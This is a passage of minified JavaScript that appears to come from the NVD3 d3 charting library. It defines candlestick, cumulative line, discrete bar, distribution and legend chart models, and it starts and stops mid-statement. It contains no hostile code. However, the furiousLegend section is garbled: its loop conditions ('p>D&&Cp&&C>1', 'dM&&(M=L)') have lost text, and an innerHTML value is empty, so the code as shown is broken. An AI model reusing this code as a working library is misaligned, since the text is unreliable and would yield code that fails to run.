c>d?m(d)-m(c):m(c)-m(d)})}c.selectAll(".nv-candlestick-lines").transition().attr("transform",function(a,b){return"translate("+l(n(a,b))+",0)"}).attr("x1",0).attr("y1",function(a,b){return m(r(a,b))}).attr("x2",0).attr("y2",function(a,b){return m(s(a,b))}),c.selectAll(".nv-candlestick-rects").transition().attr("transform",function(a,b){return"translate("+(l(n(a,b))-A/2)+","+(m(o(a,b))-(p(a,b)>q(a,b)?m(q(a,b))-m(p(a,b)):0))+")"}).attr("x",0).attr("y",0).attr("width",A).attr("height",function(a,b){var c=p(a,b),d=q(a,b);return c>d?m(d)-m(c):m(c)-m(d)})}),b}var c,d,e,f,g,h={top:0,right:0,bottom:0,left:0},i=null,j=null,k=Math.floor(1e4*Math.random()),l=d3.scale.linear(),m=d3.scale.linear(),n=function(a){return a.x},o=function(a){return a.y},p=function(a){return a.open},q=function(a){return a.close},r=function(a){return a.high},s=function(a){return a.low},t=[],u=[],v=!1,w=!0,x=a.utils.defaultColor(),y=!1,z=d3.dispatch("tooltipShow","tooltipHide","stateChange","changeState","renderEnd","chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove");return b.highlightPoint=function(a,d){b.clearHighlights(),c.select(".nv-candlestickBar .nv-tick-0-"+a).classed("hover",d)},b.clearHighlights=function(){c.select(".nv-candlestickBar .nv-tick.hover").classed("hover",!1)},b.dispatch=z,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return i},set:function(a){i=a}},height:{get:function(){return j},set:function(a){j=a}},xScale:{get:function(){return l},set:function(a){l=a}},yScale:{get:function(){return m},set:function(a){m=a}},xDomain:{get:function(){return d},set:function(a){d=a}},yDomain:{get:function(){return e},set:function(a){e=a}},xRange:{get:function(){return f},set:function(a){f=a}},yRange:{get:function(){return g},set:function(a){g=a}},forceX:{get:function(){return t},set:function(a){t=a}},forceY:{get:function(){return u},set:function(a){u=a}},padData:{get:function(){return v},set:function(a){v=a}},clipEdge:{get:function(){return w},set:function(a){w=a}},id:{get:function(){return k},set:function(a){k=a}},interactive:{get:function(){return y},set:function(a){y=a}},x:{get:function(){return n},set:function(a){n=a}},y:{get:function(){return o},set:function(a){o=a}},open:{get:function(){return p()},set:function(a){p=a}},close:{get:function(){return q()},set:function(a){q=a}},high:{get:function(){return r},set:function(a){r=a}},low:{get:function(){return s},set:function(a){s=a}},margin:{get:function(){return h},set:function(a){h.top=void 0!=a.top?a.top:h.top,h.right=void 0!=a.right?a.right:h.right,h.bottom=void 0!=a.bottom?a.bottom:h.bottom,h.left=void 0!=a.left?a.left:h.left}},color:{get:function(){return x},set:function(b){x=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.cumulativeLineChart=function(){"use strict";function b(l){return H.reset(),H.models(f),r&&H.models(g),s&&H.models(h),l.each(function(l){function A(){d3.select(b.container).style("cursor","ew-resize")}function E(){G.x=d3.event.x,G.i=Math.round(F.invert(G.x)),K()}function H(){d3.select(b.container).style("cursor","auto"),y.index=G.i,C.stateChange(y)}function K(){bb.data([G]);var a=b.duration();b.duration(0),b.update(),b.duration(a)}var L=d3.select(this);a.utils.initSVG(L),L.classed("nv-chart-"+x,!0);var M=this,N=a.utils.availableWidth(o,L,m),O=a.utils.availableHeight(p,L,m);if(b.update=function(){0===D?L.call(b):L.transition().duration(D).call(b)},b.container=this,y.setter(J(l),b.update).getter(I(l)).update(),y.disabled=l.map(function(a){return!!a.disabled}),!z){var P;z={};for(P in y)z[P]=y[P]instanceof Array?y[P].slice(0):y[P]}var Q=d3.behavior.drag().on("dragstart",A).on("drag",E).on("dragend",H);if(!(l&&l.length&&l.filter(function(a){return a.values.length}).length))return a.utils.noData(b,L),b;if(L.selectAll(".nv-noData").remove(),d=f.xScale(),e=f.yScale(),w)f.yDomain(null);else{var R=l.filter(function(a){return!a.disabled}).map(function(a){var b=d3.extent(a.values,f.y());return b[0]<-.95&&(b[0]=-.95),[(b[0]-b[1])/(1+b[1]),(b[1]-b[0])/(1+b[0])]}),S=[d3.min(R,function(a){return a[0]}),d3.max(R,function(a){return a[1]})];f.yDomain(S)}F.domain([0,l[0].values.length-1]).range([0,N]).clamp(!0);var l=c(G.i,l),T=v?"none":"all",U=L.selectAll("g.nv-wrap.nv-cumulativeLine").data([l]),V=U.enter().append("g").attr("class","nvd3 nv-wrap nv-cumulativeLine").append("g"),W=U.select("g");if(V.append("g").attr("class","nv-interactive"),V.append("g").attr("class","nv-x nv-axis").style("pointer-events","none"),V.append("g").attr("class","nv-y nv-axis"),V.append("g").attr("class","nv-background"),V.append("g").attr("class","nv-linesWrap").style("pointer-events",T),V.append("g").attr("class","nv-avgLinesWrap").style("pointer-events","none"),V.append("g").attr("class","nv-legendWrap"),V.append("g").attr("class","nv-controlsWrap"),q&&(i.width(N),W.select(".nv-legendWrap").datum(l).call(i),m.top!=i.height()&&(m.top=i.height(),O=a.utils.availableHeight(p,L,m)),W.select(".nv-legendWrap").attr("transform","translate(0,"+-m.top+")")),u){var X=[{key:"Re-scale y-axis",disabled:!w}];j.width(140).color(["#444","#444","#444"]).rightAlign(!1).margin({top:5,right:0,bottom:5,left:20}),W.select(".nv-controlsWrap").datum(X).attr("transform","translate(0,"+-m.top+")").call(j)}U.attr("transform","translate("+m.left+","+m.top+")"),t&&W.select(".nv-y.nv-axis").attr("transform","translate("+N+",0)");var Y=l.filter(function(a){return a.tempDisabled});U.select(".tempDisabled").remove(),Y.length&&U.append("text").attr("class","tempDisabled").attr("x",N/2).attr("y","-.71em").style("text-anchor","end").text(Y.map(function(a){return a.key}).join(", ")+" values cannot be calculated for this time period."),v&&(k.width(N).height(O).margin({left:m.left,top:m.top}).svgContainer(L).xScale(d),U.select(".nv-interactive").call(k)),V.select(".nv-background").append("rect"),W.select(".nv-background rect").attr("width",N).attr("height",O),f.y(function(a){return a.display.y}).width(N).height(O).color(l.map(function(a,b){return a.color||n(a,b)}).filter(function(a,b){return!l[b].disabled&&!l[b].tempDisabled}));var Z=W.select(".nv-linesWrap").datum(l.filter(function(a){return!a.disabled&&!a.tempDisabled}));Z.call(f),l.forEach(function(a,b){a.seriesIndex=b});var $=l.filter(function(a){return!a.disabled&&!!B(a)}),_=W.select(".nv-avgLinesWrap").selectAll("line").data($,function(a){return a.key}),ab=function(a){var b=e(B(a));return 0>b?0:b>O?O:b};_.enter().append("line").style("stroke-width",2).style("stroke-dasharray","10,10").style("stroke",function(a){return f.color()(a,a.seriesIndex)}).attr("x1",0).attr("x2",N).attr("y1",ab).attr("y2",ab),_.style("stroke-opacity",function(a){var b=e(B(a));return 0>b||b>O?0:1}).attr("x1",0).attr("x2",N).attr("y1",ab).attr("y2",ab),_.exit().remove();var bb=Z.selectAll(".nv-indexLine").data([G]);bb.enter().append("rect").attr("class","nv-indexLine").attr("width",3).attr("x",-2).attr("fill","red").attr("fill-opacity",.5).style("pointer-events","all").call(Q),bb.attr("transform",function(a){return"translate("+F(a.i)+",0)"}).attr("height",O),r&&(g.scale(d)._ticks(a.utils.calcTicksX(N/70,l)).tickSize(-O,0),W.select(".nv-x.nv-axis").attr("transform","translate(0,"+e.range()[0]+")"),W.select(".nv-x.nv-axis").call(g)),s&&(h.scale(e)._ticks(a.utils.calcTicksY(O/36,l)).tickSize(-N,0),W.select(".nv-y.nv-axis").call(h)),W.select(".nv-background rect").on("click",function(){G.x=d3.mouse(this)[0],G.i=Math.round(F.invert(G.x)),y.index=G.i,C.stateChange(y),K()}),f.dispatch.on("elementClick",function(a){G.i=a.pointIndex,G.x=F(G.i),y.index=G.i,C.stateChange(y),K()}),j.dispatch.on("legendClick",function(a){a.disabled=!a.disabled,w=!a.disabled,y.rescaleY=w,C.stateChange(y),b.update()}),i.dispatch.on("stateChange",function(a){for(var c in a)y[c]=a[c];C.stateChange(y),b.update()}),k.dispatch.on("elementMousemove",function(c){f.clearHighlights();var d,e,i,j=[];if(l.filter(function(a,b){return a.seriesIndex=b,!a.disabled}).forEach(function(g,h){e=a.interactiveBisect(g.values,c.pointXValue,b.x()),f.highlightPoint(h,e,!0);var k=g.values[e];"undefined"!=typeof k&&("undefined"==typeof d&&(d=k),"undefined"==typeof i&&(i=b.xScale()(b.x()(k,e))),j.push({key:g.key,value:b.y()(k,e),color:n(g,g.seriesIndex)}))}),j.length>2){var o=b.yScale().invert(c.mouseY),p=Math.abs(b.yScale().domain()[0]-b.yScale().domain()[1]),q=.03*p,r=a.nearestValueIndex(j.map(function(a){return a.value}),o,q);null!==r&&(j[r].highlight=!0)}var s=g.tickFormat()(b.x()(d,e),e);k.tooltip.position({left:i+m.left,top:c.mouseY+m.top}).chartContainer(M.parentNode).valueFormatter(function(a){return h.tickFormat()(a)}).data({value:s,series:j})(),k.renderGuideLine(i)}),k.dispatch.on("elementMouseout",function(){f.clearHighlights()}),C.on("changeState",function(a){"undefined"!=typeof a.disabled&&(l.forEach(function(b,c){b.disabled=a.disabled[c]}),y.disabled=a.disabled),"undefined"!=typeof a.index&&(G.i=a.index,G.x=F(G.i),y.index=a.index,bb.data([G])),"undefined"!=typeof a.rescaleY&&(w=a.rescaleY),b.update()})}),H.renderEnd("cumulativeLineChart immediate"),b}function c(a,b){return K||(K=f.y()),b.map(function(b){if(!b.values)return b;var c=b.values[a];if(null==c)return b;var d=K(c,a);return-.95>d&&!E?(b.tempDisabled=!0,b):(b.tempDisabled=!1,b.values=b.values.map(function(a,b){return a.display={y:(K(a,b)-d)/(1+d)},a}),b)})}var d,e,f=a.models.line(),g=a.models.axis(),h=a.models.axis(),i=a.models.legend(),j=a.models.legend(),k=a.interactiveGuideline(),l=a.models.tooltip(),m={top:30,right:30,bottom:50,left:60},n=a.utils.defaultColor(),o=null,p=null,q=!0,r=!0,s=!0,t=!1,u=!0,v=!1,w=!0,x=f.id(),y=a.utils.state(),z=null,A=null,B=function(a){return a.average},C=d3.dispatch("stateChange","changeState","renderEnd"),D=250,E=!1;y.index=0,y.rescaleY=w,g.orient("bottom").tickPadding(7),h.orient(t?"right":"left"),l.valueFormatter(function(a,b){return h.tickFormat()(a,b)}).headerFormatter(function(a,b){return g.tickFormat()(a,b)}),j.updateState(!1);var F=d3.scale.linear(),G={i:0,x:0},H=a.utils.renderWatch(C,D),I=function(a){return function(){return{active:a.map(function(a){return!a.disabled}),index:G.i,rescaleY:w}}},J=function(a){return function(b){void 0!==b.index&&(G.i=b.index),void 0!==b.rescaleY&&(w=b.rescaleY),void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};f.dispatch.on("elementMouseover.tooltip",function(a){var c={x:b.x()(a.point),y:b.y()(a.point),color:a.point.color};a.point=c,l.data(a).position(a.pos).hidden(!1)}),f.dispatch.on("elementMouseout.tooltip",function(){l.hidden(!0)});var K=null;return b.dispatch=C,b.lines=f,b.legend=i,b.controls=j,b.xAxis=g,b.yAxis=h,b.interactiveLayer=k,b.state=y,b.tooltip=l,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return o},set:function(a){o=a}},height:{get:function(){return p},set:function(a){p=a}},rescaleY:{get:function(){return w},set:function(a){w=a}},showControls:{get:function(){return u},set:function(a){u=a}},showLegend:{get:function(){return q},set:function(a){q=a}},average:{get:function(){return B},set:function(a){B=a}},defaultState:{get:function(){return z},set:function(a){z=a}},noData:{get:function(){return A},set:function(a){A=a}},showXAxis:{get:function(){return r},set:function(a){r=a}},showYAxis:{get:function(){return s},set:function(a){s=a}},noErrorCheck:{get:function(){return E},set:function(a){E=a}},tooltips:{get:function(){return l.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),l.enabled(!!b)}},tooltipContent:{get:function(){return l.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),l.contentGenerator(b)}},margin:{get:function(){return m},set:function(a){m.top=void 0!==a.top?a.top:m.top,m.right=void 0!==a.right?a.right:m.right,m.bottom=void 0!==a.bottom?a.bottom:m.bottom,m.left=void 0!==a.left?a.left:m.left}},color:{get:function(){return n},set:function(b){n=a.utils.getColor(b),i.color(n)}},useInteractiveGuideline:{get:function(){return v},set:function(a){v=a,a===!0&&(b.interactive(!1),b.useVoronoi(!1))}},rightAlignYAxis:{get:function(){return t},set:function(a){t=a,h.orient(a?"right":"left")}},duration:{get:function(){return D},set:function(a){D=a,f.duration(D),g.duration(D),h.duration(D),H.reset(D)}}}),a.utils.inheritOptions(b,f),a.utils.initOptions(b),b},a.models.discreteBar=function(){"use strict";function b(m){return y.reset(),m.each(function(b){var m=k-j.left-j.right,x=l-j.top-j.bottom;c=d3.select(this),a.utils.initSVG(c),b.forEach(function(a,b){a.values.forEach(function(a){a.series=b})});var z=d&&e?[]:b.map(function(a){return a.values.map(function(a,b){return{x:p(a,b),y:q(a,b),y0:a.y0}})});n.domain(d||d3.merge(z).map(function(a){return a.x})).rangeBands(f||[0,m],.1),o.domain(e||d3.extent(d3.merge(z).map(function(a){return a.y}).concat(r))),o.range(t?g||[x-(o.domain()[0]<0?12:0),o.domain()[1]>0?12:0]:g||[x,0]),h=h||n,i=i||o.copy().range([o(0),o(0)]);{var A=c.selectAll("g.nv-wrap.nv-discretebar").data([b]),B=A.enter().append("g").attr("class","nvd3 nv-wrap nv-discretebar"),C=B.append("g");A.select("g")}C.append("g").attr("class","nv-groups"),A.attr("transform","translate("+j.left+","+j.top+")");var D=A.select(".nv-groups").selectAll(".nv-group").data(function(a){return a},function(a){return a.key});D.enter().append("g").style("stroke-opacity",1e-6).style("fill-opacity",1e-6),D.exit().watchTransition(y,"discreteBar: exit groups").style("stroke-opacity",1e-6).style("fill-opacity",1e-6).remove(),D.attr("class",function(a,b){return"nv-group nv-series-"+b}).classed("hover",function(a){return a.hover}),D.watchTransition(y,"discreteBar: groups").style("stroke-opacity",1).style("fill-opacity",.75);var E=D.selectAll("g.nv-bar").data(function(a){return a.values});E.exit().remove();var F=E.enter().append("g").attr("transform",function(a,b){return"translate("+(n(p(a,b))+.05*n.rangeBand())+", "+o(0)+")"}).on("mouseover",function(a,b){d3.select(this).classed("hover",!0),v.elementMouseover({data:a,index:b,color:d3.select(this).style("fill")})}).on("mouseout",function(a,b){d3.select(this).classed("hover",!1),v.elementMouseout({data:a,index:b,color:d3.select(this).style("fill")})}).on("mousemove",function(a,b){v.elementMousemove({data:a,index:b,color:d3.select(this).style("fill")})}).on("click",function(a,b){v.elementClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation()}).on("dblclick",function(a,b){v.elementDblClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation()});F.append("rect").attr("height",0).attr("width",.9*n.rangeBand()/b.length),t?(F.append("text").attr("text-anchor","middle"),E.select("text").text(function(a,b){return u(q(a,b))}).watchTransition(y,"discreteBar: bars text").attr("x",.9*n.rangeBand()/2).attr("y",function(a,b){return q(a,b)<0?o(q(a,b))-o(0)+12:-4})):E.selectAll("text").remove(),E.attr("class",function(a,b){return q(a,b)<0?"nv-bar negative":"nv-bar positive"}).style("fill",function(a,b){return a.color||s(a,b)}).style("stroke",function(a,b){return a.color||s(a,b)}).select("rect").attr("class",w).watchTransition(y,"discreteBar: bars rect").attr("width",.9*n.rangeBand()/b.length),E.watchTransition(y,"discreteBar: bars").attr("transform",function(a,b){var c=n(p(a,b))+.05*n.rangeBand(),d=q(a,b)<0?o(0):o(0)-o(q(a,b))<1?o(0)-1:o(q(a,b));return"translate("+c+", "+d+")"}).select("rect").attr("height",function(a,b){return Math.max(Math.abs(o(q(a,b))-o(e&&e[0]||0))||1)}),h=n.copy(),i=o.copy()}),y.renderEnd("discreteBar immediate"),b}var c,d,e,f,g,h,i,j={top:0,right:0,bottom:0,left:0},k=960,l=500,m=Math.floor(1e4*Math.random()),n=d3.scale.ordinal(),o=d3.scale.linear(),p=function(a){return a.x},q=function(a){return a.y},r=[0],s=a.utils.defaultColor(),t=!1,u=d3.format(",.2f"),v=d3.dispatch("chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove","renderEnd"),w="discreteBar",x=250,y=a.utils.renderWatch(v,x);return b.dispatch=v,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return k},set:function(a){k=a}},height:{get:function(){return l},set:function(a){l=a}},forceY:{get:function(){return r},set:function(a){r=a}},showValues:{get:function(){return t},set:function(a){t=a}},x:{get:function(){return p},set:function(a){p=a}},y:{get:function(){return q},set:function(a){q=a}},xScale:{get:function(){return n},set:function(a){n=a}},yScale:{get:function(){return o},set:function(a){o=a}},xDomain:{get:function(){return d},set:function(a){d=a}},yDomain:{get:function(){return e},set:function(a){e=a}},xRange:{get:function(){return f},set:function(a){f=a}},yRange:{get:function(){return g},set:function(a){g=a}},valueFormat:{get:function(){return u},set:function(a){u=a}},id:{get:function(){return m},set:function(a){m=a}},rectClass:{get:function(){return w},set:function(a){w=a}},margin:{get:function(){return j},set:function(a){j.top=void 0!==a.top?a.top:j.top,j.right=void 0!==a.right?a.right:j.right,j.bottom=void 0!==a.bottom?a.bottom:j.bottom,j.left=void 0!==a.left?a.left:j.left}},color:{get:function(){return s},set:function(b){s=a.utils.getColor(b)}},duration:{get:function(){return x},set:function(a){x=a,y.reset(x)}}}),a.utils.initOptions(b),b},a.models.discreteBarChart=function(){"use strict";function b(h){return t.reset(),t.models(e),m&&t.models(f),n&&t.models(g),h.each(function(h){var l=d3.select(this);a.utils.initSVG(l);var q=a.utils.availableWidth(j,l,i),t=a.utils.availableHeight(k,l,i);if(b.update=function(){r.beforeUpdate(),l.transition().duration(s).call(b)},b.container=this,!(h&&h.length&&h.filter(function(a){return a.values.length}).length))return a.utils.noData(b,l),b;l.selectAll(".nv-noData").remove(),c=e.xScale(),d=e.yScale().clamp(!0);var u=l.selectAll("g.nv-wrap.nv-discreteBarWithAxes").data([h]),v=u.enter().append("g").attr("class","nvd3 nv-wrap nv-discreteBarWithAxes").append("g"),w=v.append("defs"),x=u.select("g");v.append("g").attr("class","nv-x nv-axis"),v.append("g").attr("class","nv-y nv-axis").append("g").attr("class","nv-zeroLine").append("line"),v.append("g").attr("class","nv-barsWrap"),x.attr("transform","translate("+i.left+","+i.top+")"),o&&x.select(".nv-y.nv-axis").attr("transform","translate("+q+",0)"),e.width(q).height(t);var y=x.select(".nv-barsWrap").datum(h.filter(function(a){return!a.disabled}));if(y.transition().call(e),w.append("clipPath").attr("id","nv-x-label-clip-"+e.id()).append("rect"),x.select("#nv-x-label-clip-"+e.id()+" rect").attr("width",c.rangeBand()*(p?2:1)).attr("height",16).attr("x",-c.rangeBand()/(p?1:2)),m){f.scale(c)._ticks(a.utils.calcTicksX(q/100,h)).tickSize(-t,0),x.select(".nv-x.nv-axis").attr("transform","translate(0,"+(d.range()[0]+(e.showValues()&&d.domain()[0]<0?16:0))+")"),x.select(".nv-x.nv-axis").call(f); var z=x.select(".nv-x.nv-axis").selectAll("g");p&&z.selectAll("text").attr("transform",function(a,b,c){return"translate(0,"+(c%2==0?"5":"17")+")"})}n&&(g.scale(d)._ticks(a.utils.calcTicksY(t/36,h)).tickSize(-q,0),x.select(".nv-y.nv-axis").call(g)),x.select(".nv-zeroLine line").attr("x1",0).attr("x2",q).attr("y1",d(0)).attr("y2",d(0))}),t.renderEnd("discreteBar chart immediate"),b}var c,d,e=a.models.discreteBar(),f=a.models.axis(),g=a.models.axis(),h=a.models.tooltip(),i={top:15,right:10,bottom:50,left:60},j=null,k=null,l=a.utils.getColor(),m=!0,n=!0,o=!1,p=!1,q=null,r=d3.dispatch("beforeUpdate","renderEnd"),s=250;f.orient("bottom").showMaxMin(!1).tickFormat(function(a){return a}),g.orient(o?"right":"left").tickFormat(d3.format(",.1f")),h.duration(0).headerEnabled(!1).valueFormatter(function(a,b){return g.tickFormat()(a,b)}).keyFormatter(function(a,b){return f.tickFormat()(a,b)});var t=a.utils.renderWatch(r,s);return e.dispatch.on("elementMouseover.tooltip",function(a){a.series={key:b.x()(a.data),value:b.y()(a.data),color:a.color},h.data(a).hidden(!1)}),e.dispatch.on("elementMouseout.tooltip",function(){h.hidden(!0)}),e.dispatch.on("elementMousemove.tooltip",function(){h.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.dispatch=r,b.discretebar=e,b.xAxis=f,b.yAxis=g,b.tooltip=h,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return j},set:function(a){j=a}},height:{get:function(){return k},set:function(a){k=a}},staggerLabels:{get:function(){return p},set:function(a){p=a}},showXAxis:{get:function(){return m},set:function(a){m=a}},showYAxis:{get:function(){return n},set:function(a){n=a}},noData:{get:function(){return q},set:function(a){q=a}},tooltips:{get:function(){return h.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),h.enabled(!!b)}},tooltipContent:{get:function(){return h.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),h.contentGenerator(b)}},margin:{get:function(){return i},set:function(a){i.top=void 0!==a.top?a.top:i.top,i.right=void 0!==a.right?a.right:i.right,i.bottom=void 0!==a.bottom?a.bottom:i.bottom,i.left=void 0!==a.left?a.left:i.left}},duration:{get:function(){return s},set:function(a){s=a,t.reset(s),e.duration(s),f.duration(s),g.duration(s)}},color:{get:function(){return l},set:function(b){l=a.utils.getColor(b),e.color(l)}},rightAlignYAxis:{get:function(){return o},set:function(a){o=a,g.orient(a?"right":"left")}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.distribution=function(){"use strict";function b(k){return m.reset(),k.each(function(b){var k=(e-("x"===g?d.left+d.right:d.top+d.bottom),"x"==g?"y":"x"),l=d3.select(this);a.utils.initSVG(l),c=c||j;var n=l.selectAll("g.nv-distribution").data([b]),o=n.enter().append("g").attr("class","nvd3 nv-distribution"),p=(o.append("g"),n.select("g"));n.attr("transform","translate("+d.left+","+d.top+")");var q=p.selectAll("g.nv-dist").data(function(a){return a},function(a){return a.key});q.enter().append("g"),q.attr("class",function(a,b){return"nv-dist nv-series-"+b}).style("stroke",function(a,b){return i(a,b)});var r=q.selectAll("line.nv-dist"+g).data(function(a){return a.values});r.enter().append("line").attr(g+"1",function(a,b){return c(h(a,b))}).attr(g+"2",function(a,b){return c(h(a,b))}),m.transition(q.exit().selectAll("line.nv-dist"+g),"dist exit").attr(g+"1",function(a,b){return j(h(a,b))}).attr(g+"2",function(a,b){return j(h(a,b))}).style("stroke-opacity",0).remove(),r.attr("class",function(a,b){return"nv-dist"+g+" nv-dist"+g+"-"+b}).attr(k+"1",0).attr(k+"2",f),m.transition(r,"dist").attr(g+"1",function(a,b){return j(h(a,b))}).attr(g+"2",function(a,b){return j(h(a,b))}),c=j.copy()}),m.renderEnd("distribution immediate"),b}var c,d={top:0,right:0,bottom:0,left:0},e=400,f=8,g="x",h=function(a){return a[g]},i=a.utils.defaultColor(),j=d3.scale.linear(),k=250,l=d3.dispatch("renderEnd"),m=a.utils.renderWatch(l,k);return b.options=a.utils.optionsFunc.bind(b),b.dispatch=l,b.margin=function(a){return arguments.length?(d.top="undefined"!=typeof a.top?a.top:d.top,d.right="undefined"!=typeof a.right?a.right:d.right,d.bottom="undefined"!=typeof a.bottom?a.bottom:d.bottom,d.left="undefined"!=typeof a.left?a.left:d.left,b):d},b.width=function(a){return arguments.length?(e=a,b):e},b.axis=function(a){return arguments.length?(g=a,b):g},b.size=function(a){return arguments.length?(f=a,b):f},b.getData=function(a){return arguments.length?(h=d3.functor(a),b):h},b.scale=function(a){return arguments.length?(j=a,b):j},b.color=function(c){return arguments.length?(i=a.utils.getColor(c),b):i},b.duration=function(a){return arguments.length?(k=a,m.reset(k),b):k},b},a.models.furiousLegend=function(){"use strict";function b(p){function q(a,b){return"furious"!=o?"#000":m?a.disengaged?g(a,b):"#fff":m?void 0:a.disabled?g(a,b):"#fff"}function r(a,b){return m&&"furious"==o?a.disengaged?"#fff":g(a,b):a.disabled?"#fff":g(a,b)}return p.each(function(b){var p=d-c.left-c.right,s=d3.select(this);a.utils.initSVG(s);var t=s.selectAll("g.nv-legend").data([b]),u=(t.enter().append("g").attr("class","nvd3 nv-legend").append("g"),t.select("g"));t.attr("transform","translate("+c.left+","+c.top+")");var v,w=u.selectAll(".nv-series").data(function(a){return"furious"!=o?a:a.filter(function(a){return m?!0:!a.disengaged})}),x=w.enter().append("g").attr("class","nv-series");if("classic"==o)x.append("circle").style("stroke-width",2).attr("class","nv-legend-symbol").attr("r",5),v=w.select("circle");else if("furious"==o){x.append("rect").style("stroke-width",2).attr("class","nv-legend-symbol").attr("rx",3).attr("ry",3),v=w.select("rect"),x.append("g").attr("class","nv-check-box").property("innerHTML",'').attr("transform","translate(-10,-8)scale(0.5)");var y=w.select(".nv-check-box");y.each(function(a,b){d3.select(this).selectAll("path").attr("stroke",q(a,b))})}x.append("text").attr("text-anchor","start").attr("class","nv-legend-text").attr("dy",".32em").attr("dx","8");var z=w.select("text.nv-legend-text");w.on("mouseover",function(a,b){n.legendMouseover(a,b)}).on("mouseout",function(a,b){n.legendMouseout(a,b)}).on("click",function(a,b){n.legendClick(a,b);var c=w.data();if(k){if("classic"==o)l?(c.forEach(function(a){a.disabled=!0}),a.disabled=!1):(a.disabled=!a.disabled,c.every(function(a){return a.disabled})&&c.forEach(function(a){a.disabled=!1}));else if("furious"==o)if(m)a.disengaged=!a.disengaged,a.userDisabled=void 0==a.userDisabled?!!a.disabled:a.userDisabled,a.disabled=a.disengaged||a.userDisabled;else if(!m){a.disabled=!a.disabled,a.userDisabled=a.disabled;var d=c.filter(function(a){return!a.disengaged});d.every(function(a){return a.userDisabled})&&c.forEach(function(a){a.disabled=a.userDisabled=!1})}n.stateChange({disabled:c.map(function(a){return!!a.disabled}),disengaged:c.map(function(a){return!!a.disengaged})})}}).on("dblclick",function(a,b){if(("furious"!=o||!m)&&(n.legendDblclick(a,b),k)){var c=w.data();c.forEach(function(a){a.disabled=!0,"furious"==o&&(a.userDisabled=a.disabled)}),a.disabled=!1,"furious"==o&&(a.userDisabled=a.disabled),n.stateChange({disabled:c.map(function(a){return!!a.disabled})})}}),w.classed("nv-disabled",function(a){return a.userDisabled}),w.exit().remove(),z.attr("fill",q).text(f);var A;switch(o){case"furious":A=23;break;case"classic":A=20}if(h){var B=[];w.each(function(){var b,c=d3.select(this).select("text");try{if(b=c.node().getComputedTextLength(),0>=b)throw Error()}catch(d){b=a.utils.calcApproxTextWidth(c)}B.push(b+i)});for(var C=0,D=0,E=[];p>D&&Cp&&C>1;){E=[],C--;for(var F=0;F(E[F%C]||0)&&(E[F%C]=B[F]);D=E.reduce(function(a,b){return a+b})}for(var G=[],H=0,I=0;C>H;H++)G[H]=I,I+=E[H];w.attr("transform",function(a,b){return"translate("+G[b%C]+","+(5+Math.floor(b/C)*A)+")"}),j?u.attr("transform","translate("+(d-c.right-D)+","+c.top+")"):u.attr("transform","translate(0,"+c.top+")"),e=c.top+c.bottom+Math.ceil(B.length/C)*A}else{var J,K=5,L=5,M=0;w.attr("transform",function(){var a=d3.select(this).select("text").node().getComputedTextLength()+i;return J=L,dM&&(M=L),"translate("+J+","+K+")"}),u.attr("transform","translate("+(d-c.right-M)+","+c.top+")"),e=c.top+c.bottom+K+15}"furious"==o&&v.attr("width",function(a,b){return z[0][b].getComputedTextLength()+27}).attr("height",18).attr("y",-9).attr("x",-15),v.style("fill",r).style("stroke",function(a,b){return a.color||g(a,b)})}),b}var c={top:5,right:0,bottom:5,left:0},d=400,e=20,f=function(a){return a.key},g=a.utils.getColor(),h=!0,i=28,j=!0,k=!0,l=!1,m=!1,n=d3.dispatch("legendClick","legendDblclick","legendMouseover","legendMouseout","stateChange"),o="classic";return b.dispatch=n,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return d},set:function(a){d=a}},height:{get:function(){return e},set:function(a){e=a}},key:{get:function(){return f},set:function(a){f=a}},align:{get:function(){return h},set:function(a){h=a}},rightAlign:{get:function(){return j},set:function(a){j=a}},padding:{get:function(){return i},set:function(a){i=a}},updateState:{get:function(){return k},set:function(a){k=a}},radioButtonMode:{get:function(){return l},set:function(a){l=a}},expanded:{get:function(){return m},set:function(a){m=a}},vers:{get:function(){return o},set:function(a){o=a}},margin:{get:function(){return c},set:function(a){c.top=void 0!==a.top?a.top:c.top,c.right=void 0!==a.right?a.right:c.right,c.bottom=void 0!==a.bottom?a.bottom:c.bottom,c.left=void 0!==a.left?a.left:c.left}},color:{get:function(){return g},set:function(b){g=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.historicalBar=function(){"use strict";function b(x){return x.each(function(b){w.reset(),k=d3.select(this);var x=a.utils.availableWidth(h,k,g),y=a.utils.availableHeight(i,k,g);a.utils.initSVG(k),l.domain(c||d3.extent(b[0].values.map(n).concat(p))),l.range(r?e||[.5*x/b[0].values.length,x*(b[0].values.length-.5)/b[0].values.length]:e||[0,x]),m.domain(d||d3.extent(b[0].values.map(o).concat(q))).range(f||[y,0]),l.domain()[0]===l.domain()[1]&&l.domain(l.domain()[0]?[l.domain()[0]-.01*l.domain()[0],l.domain()[1]+.01*l.domain()[1]]:[-1,1]),m.domain()[0]===m.domain()[1]&&m.domain(m.domain()[0]?[m.domain()[0]+.01*m.domain()[0],m.domain()[1]-.01*m.domain()[1]]:[-1,1]);var z=k.selectAll("g.nv-wrap.nv-historicalBar-"+j).data([b[0].values]),A=z.enter().append("g").attr("class","nvd3 nv-wrap 